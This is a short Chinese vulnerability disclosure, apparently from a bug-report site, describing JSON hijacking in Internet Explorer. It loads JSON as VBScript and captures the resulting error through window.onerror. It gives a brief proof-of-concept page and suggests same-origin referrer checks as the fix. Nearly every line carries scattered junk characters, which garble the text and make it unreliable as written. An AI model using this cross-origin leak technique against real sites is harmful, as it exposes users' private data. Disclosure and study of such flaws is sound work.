简要描述:8 X4 P9 o; \+ f6 X
$ j9 @( [; d3 _
由于某些资源容器对数据处理不当导致json劫持漏洞.. A5 c! N) C, G: N6 A8 `
详细说明:
! T3 H) n$ }6 g& H) z. {由于ie支持vbscript,所以script元素可以指定成vbscript语言:; A0 H# |. l+ u0 x
<script language=vbscript></script>, d& v5 K6 c" e5 T+ l
6 r( m% I4 p, U+ {当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.* Z* ?' ^8 ^0 w6 Z2 Q1 W
漏洞证明:0 z4 W6 a' z0 S) ]- p
<script>% L3 i8 c- P7 _3 A! m- P! x i Y6 F
window.onerror=function(_){( L- Y9 v8 W! X* m9 d
alert(_)& O0 }0 y I/ y4 s b; ]7 I5 q) }
}0 o% V8 ^3 S& k9 z( b# @6 \7 x; ]
</script>) }: [, C# r; I+ N. A! O
<script language=vbscript src=1.json></script>
" y+ U6 x6 }4 A) q8 V- E! ^- X$ Q1 [( D
5 W* t* q' s" b! U& ` # \- l3 C8 B3 X
1.json: }) B* v. v; `/ ?9 X) p
[{"name":"sogili","age":19}]- c0 E( f) ~' `' T3 V
修复方案:
: B. D- c: o& _网站业务对于这个问题可以通过验证referrer是否为同源来防御 |